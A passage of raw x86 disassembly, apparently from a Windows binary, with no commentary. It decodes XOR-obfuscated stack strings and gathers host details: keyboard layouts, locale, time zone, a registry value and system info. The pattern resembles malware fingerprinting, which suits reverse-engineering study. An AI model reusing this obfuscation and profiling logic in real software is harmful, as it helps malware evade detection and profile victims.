mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x120]
xorps xmm1, xmmword [ebp - 0x140]
mov dword [ebp - 0x128], eax
lea eax, [ebp - 0x1b00]
movaps xmmword [ebp - 0x120], xmm1
movaps xmm1, xmmword [ebp - 0x110]
mov dword [ebp - 0x124], ecx
xorps xmm1, xmmword [ebp - 0x130]
push eax
movaps xmmword [ebp - 0x110], xmm1
lea eax, [ebp - 0x120]
jmp 0x4dfc72
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x52c], ecx
mov dword [ebp - 0x18], 0x62b5d3a
mov dword [ebp - 0x14], 0xc5b8e88d
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x528], eax
mov dword [ebp - 0x524], ecx
mov dword [ebp - 0x18], 0xf79218dd
mov dword [ebp - 0x14], 0x6ce58a04
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x520], eax
mov dword [ebp - 0x51c], ecx
mov dword [ebp - 0x18], 0x23d27eb6
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x518], eax
mov dword [ebp - 0x514], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x530]
xorps xmm1, xmmword [ebp - 0x140]
mov dword [ebp - 0x128], eax
movaps xmmword [ebp - 0x530], xmm1
movaps xmm1, xmmword [ebp - 0x520]
mov dword [ebp - 0x124], ecx
xorps xmm1, xmmword [ebp - 0x130]
movaps xmmword [ebp - 0x520], xmm1
mov dword [ebp - 0x18], 0xa980a788
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x35c], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x354], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x360]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x530]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
movaps xmmword [ebp - 0x360], xmm1
lea eax, [ebp - 0x360]
push eax
push edi
call fcn.00403350
mov dword [ebp - 0x18], 0xcbf9b1e6
add esp, 0xc
mov dword [ebp - 0x14], 0x97b27fbe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x18], 0xf247056
mov dword [ebp - 0x14], 0xc7befc9f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x18], 0xb9fd4b82
mov dword [ebp - 0x14], 0x1b8ae46f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x140]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x140], xmm1
movaps xmm1, xmmword [ebp - 0x130]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x130], xmm1
mov dword [ebp - 0x18], 0xa980a788
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x36c], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x364], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x38], eax
movaps xmm1, xmmword [ebp - 0x370]
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x370]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x370], xmm1
call fcn.00403350
add esp, 0xc
lea eax, [ebp - 0x1300]
push 0x200
push 0
push eax
call fcn.004359a0
mov esi, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
add esp, 0xc
push 0
push 0
call esi
mov dword [ebp - 0xb4], eax
lea ecx, [eax*4]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc4], eax
test eax, eax
je 0x4e0066
push eax
push dword [ebp - 0xb4]
call esi
xor esi, esi
mov dword [ebp - 0xb4], eax
test eax, eax
je 0x4e005a
push 0x200
lea eax, [ebp - 0x1300]
push eax
mov eax, dword [ebp - 0xc4]
push 2
movzx eax, word [eax + esi*4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test esi, esi
jne 0x4dff67
mov dword [ebp - 0x18], 0xa980a788
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], ecx
mov dword [ebp - 0xa8], 0x61453c76
mov dword [ebp - 0xa4], 0xa0df89f8
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x374], ecx
mov dword [ebp - 0xc0], 0xa980d4ad
mov dword [ebp - 0xbc], 0xf3c01ed1
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xbc]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0xd0], 0x61453c76
mov dword [ebp - 0xcc], 0xa0df89f8
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0xcc]
movaps xmm1, xmmword [ebp - 0x380]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x1300]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
movaps xmmword [ebp - 0x380], xmm1
lea eax, [ebp - 0x380]
jmp 0x4e002d
mov dword [ebp - 0xb0], 0x8ca0fb8d
mov dword [ebp - 0xac], 0xf3c01ea2
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xac]
mov dword [ebp - 0x390], eax
mov dword [ebp - 0x38c], ecx
mov dword [ebp - 0xa0], 0x61453c76
mov dword [ebp - 0x9c], 0xa0df89f8
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x384], ecx
mov dword [ebp - 0x98], 0xa980d4ad
mov dword [ebp - 0x94], 0xf3c01ed1
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1ec], ecx
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x390]
mov dword [ebp - 0x1e8], eax
lea eax, [ebp - 0x1300]
mov dword [ebp - 0x1e4], ecx
xorps xmm1, xmmword [ebp - 0x1f0]
push eax
movaps xmmword [ebp - 0x390], xmm1
lea eax, [ebp - 0x390]
push eax
push edi
call fcn.00403350
add esp, 0xc
lea eax, [ebp - 0x1300]
push 0x200
push 0
push eax
call fcn.004359a0
inc esi
add esp, 0xc
cmp esi, dword [ebp - 0xb4]
jb 0x4dfe84
push dword [ebp - 0xc4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x260]
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x260], xmm0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov dword [ebp - 0x20], 0xc6ccdea0
mov dword [ebp - 0x1c], 0xd3ac7fb2
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x710], eax
mov dword [ebp - 0x70c], ecx
mov dword [ebp - 0x20], 0x4285522
mov dword [ebp - 0x1c], 0xc4faa9c2
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x708], eax
mov dword [ebp - 0x704], ecx
mov dword [ebp - 0x20], 0xb6a31dc8
mov dword [ebp - 0x1c], 0x3eaa804a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x700], eax
mov dword [ebp - 0x6fc], ecx
mov dword [ebp - 0x20], 0x47fd49bc
mov dword [ebp - 0x1c], 0xa297a3dc
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x6f8], eax
mov dword [ebp - 0x6f4], ecx
mov dword [ebp - 0x20], 0xb624f26b
mov dword [ebp - 0x1c], 0xd4fbbc75
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x6f0], eax
mov dword [ebp - 0x6ec], ecx
mov dword [ebp - 0x20], 0x2d77deaa
mov dword [ebp - 0x1c], 0x6d869c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x6e4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], ecx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], ecx
mov dword [ebp - 0x20], 0x99c738e7
mov dword [ebp - 0x1c], 0x1b8ae46f
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], ecx
mov dword [ebp - 0x20], 0x23d873d8
mov dword [ebp - 0x1c], 0xaff386e6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], ecx
mov dword [ebp - 0x20], 0xb624f261
mov dword [ebp - 0x1c], 0xd4fbbc75
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x20], 0x2d77deaa
mov dword [ebp - 0x1c], 0x6d869c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x710]
xorps xmm1, xmmword [ebp - 0x1c0]
movaps xmmword [ebp - 0x710], xmm1
movaps xmm1, xmmword [ebp - 0x700]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], ecx
movzx eax, word [ebp - 0x254]
xorps xmm1, xmmword [ebp - 0x1b0]
push eax
movzx eax, word [ebp - 0x256]
push eax
movzx eax, word [ebp - 0x258]
push eax
movzx eax, word [ebp - 0x260]
push eax
movzx eax, word [ebp - 0x25e]
push eax
movzx eax, word [ebp - 0x25a]
push eax
movaps xmmword [ebp - 0x700], xmm1
lea eax, [ebp - 0x710]
movaps xmm1, xmmword [ebp - 0x6f0]
xorps xmm1, xmmword [ebp - 0x1a0]
push eax
push edi
movaps xmmword [ebp - 0x6f0], xmm1
call fcn.00403350
add esp, 0x20
lea eax, [ebp - 0x7e4]
xorps xmm0, xmm0
movups xmmword [ebp - 0x7e4], xmm0
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0xac
lea eax, [ebp - 0xcc0]
push 0
push eax
call fcn.004359a0
add esp, 0xc
lea eax, [ebp - 0xcc0]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea eax, [ebp - 0x830]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x7e4]
push eax
lea eax, [ebp - 0xcc0]
push eax
movups xmmword [ebp - 0x830], xmm0
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
movd xmm2, dword [ebp - 0xcc0]
mov dword [ebp - 0x20], 0xccedbdf9
cvtdq2ps xmm2, xmm2
mov dword [ebp - 0x1c], 0x96ae718b
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], ecx
divss xmm2, dword [0x56e360]
mov dword [ebp - 0x20], 0x35101c4c
mov dword [ebp - 0x1c], 0xadbbacbb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x588], eax
mov dword [ebp - 0x584], ecx
mov dword [ebp - 0x20], 0x99c738ed
mov dword [ebp - 0x1c], 0x1b8ae46f
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x580], eax
mov dword [ebp - 0x57c], ecx
mov dword [ebp - 0x20], 0x23d873d8
mov dword [ebp - 0x1c], 0xaff386e6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
xorps xmm2, xmmword [0x56e480]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x99c738e7
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x1c], 0x1b8ae46f
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x20], 0x23d873d8
mov dword [ebp - 0x1c], 0xaff386e6
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x58], eax
cvttss2si eax, xmm2
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x54], ecx
movaps xmm1, xmmword [ebp - 0x590]
xorps xmm1, xmmword [ebp - 0x70]
push eax
movaps xmmword [ebp - 0x590], xmm1
lea eax, [ebp - 0x590]
movaps xmm1, xmmword [ebp - 0x580]
xorps xmm1, xmmword [ebp - 0x60]
push eax
push edi
movaps xmmword [ebp - 0x580], xmm1
call fcn.00403350
mov dword [ebp - 0x20], 0xe1dbdea0
add esp, 0xc
mov dword [ebp - 0x1c], 0x84a46cb0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 0x39c], ecx
mov dword [ebp - 0x20], 0x3c204e17
mov dword [ebp - 0x1c], 0xa0df83f5
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x398], eax
mov dword [ebp - 0x394], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x3a0]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x3a0], xmm1
mov dword [ebp - 0x20], 0xa980a788
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x3ac], ecx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3a4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x3b0]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
lea eax, [ebp - 0x3a0]
push eax
lea eax, [ebp - 0x3b0]
movaps xmmword [ebp - 0x3b0], xmm1
push eax
push edi
call fcn.00403350
mov dword [ebp - 0x148], 0
add esp, 0xc
mov dword [ebp - 0x20], 0xedd295e5
mov dword [ebp - 0x1c], 0xb6925f86
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], ecx
mov dword [ebp - 0x20], 0x3200782a
mov dword [ebp - 0x1c], 0xf096dbbb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], ecx
mov dword [ebp - 0x20], 0xd78871b3
mov dword [ebp - 0x1c], 0x68f3b733
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], ecx
mov dword [ebp - 0x20], 0x7fb516ac
mov dword [ebp - 0x1c], 0xdb9de3a5
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], ecx
mov dword [ebp - 0x20], 0xe6489313
mov dword [ebp - 0x1c], 0xb198d307
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x20], 0x5f18add9
mov dword [ebp - 0x1c], 0x6db6c0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x7c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x99c738e7
mov dword [ebp - 0x1c], 0x1b8ae46f
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x74], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x23d873d8
mov dword [ebp - 0x1c], 0xaff386e6
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xb624f261
mov dword [ebp - 0x1c], 0xd4fbbc75
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x2d77deaa
mov dword [ebp - 0x1c], 0x6d869c
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x58], eax
movaps xmm1, xmmword [ebp - 0x1c0]
lea eax, [ebp - 0x148]
xorps xmm1, xmmword [ebp - 0x80]
movaps xmmword [ebp - 0x1c0], xmm1
movaps xmm1, xmmword [ebp - 0x1b0]
xorps xmm1, xmmword [ebp - 0x70]
push eax
push 0x20019
movaps xmmword [ebp - 0x1b0], xmm1
lea eax, [ebp - 0x1c0]
movaps xmm1, xmmword [ebp - 0x1a0]
push 0
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
push eax
push closesocket
movaps xmmword [ebp - 0x1a0], xmm1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4e08f8
mov dword [ebp - 0x154], 0x20019
mov dword [ebp - 0x264], 0x400
mov dword [ebp - 0x20], 0xcaefa6fd
mov dword [ebp - 0x1c], 0x9cb36db4
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x570], eax
mov dword [ebp - 0x56c], ecx
mov dword [ebp - 0x20], 0xc247204
mov dword [ebp - 0x1c], 0xd2abda9d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x568], eax
mov dword [ebp - 0x564], ecx
mov dword [ebp - 0x20], 0x99a0568e
mov dword [ebp - 0x1c], 0x1b8ae46f
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x560], eax
mov dword [ebp - 0x55c], ecx
mov dword [ebp - 0x20], 0x23d873d8
mov dword [ebp - 0x1c], 0xaff386e6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x558], eax
mov dword [ebp - 0x554], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x20], 0x99c738e7
mov dword [ebp - 0x1c], 0x1b8ae46f
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x20], 0x23d873d8
mov dword [ebp - 0x1c], 0xaff386e6
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x2300]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x570]
xorps xmm1, xmmword [ebp - 0x70]
push eax
lea eax, [ebp - 0x154]
movaps xmmword [ebp - 0x570], xmm1
movaps xmm1, xmmword [ebp - 0x560]
push eax
push 0
lea eax, [ebp - 0x570]
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
push eax
push dword [ebp - 0x148]
movaps xmmword [ebp - 0x560], xmm1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4e08ec
mov dword [ebp - 0x20], 0xcaefa6fd
mov dword [ebp - 0x1c], 0x9cb36db4
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0x3bc], ecx
mov dword [ebp - 0x20], 0x44650604
mov dword [ebp - 0x1c], 0xa0d5848b
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3b4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x2300]
push eax
mov dword [ebp - 0x3c], ecx
lea eax, [ebp - 0x3c0]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x3c0]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x3c0], xmm1
call fcn.00403350
add esp, 0xc
push dword [ebp - 0x148]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
mov dword [ebp - 0x7e8], 0
lea eax, [ebp - 0x808]
push eax
movups xmmword [ebp - 0x808], xmm0
movups xmmword [ebp - 0x7f8], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x20], 0x89d584ee
mov dword [ebp - 0x1c], 0x9db57192
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x3cc], ecx
mov dword [ebp - 0x20], 0x44650602
mov dword [ebp - 0x1c], 0xa0d5849c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x3c4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
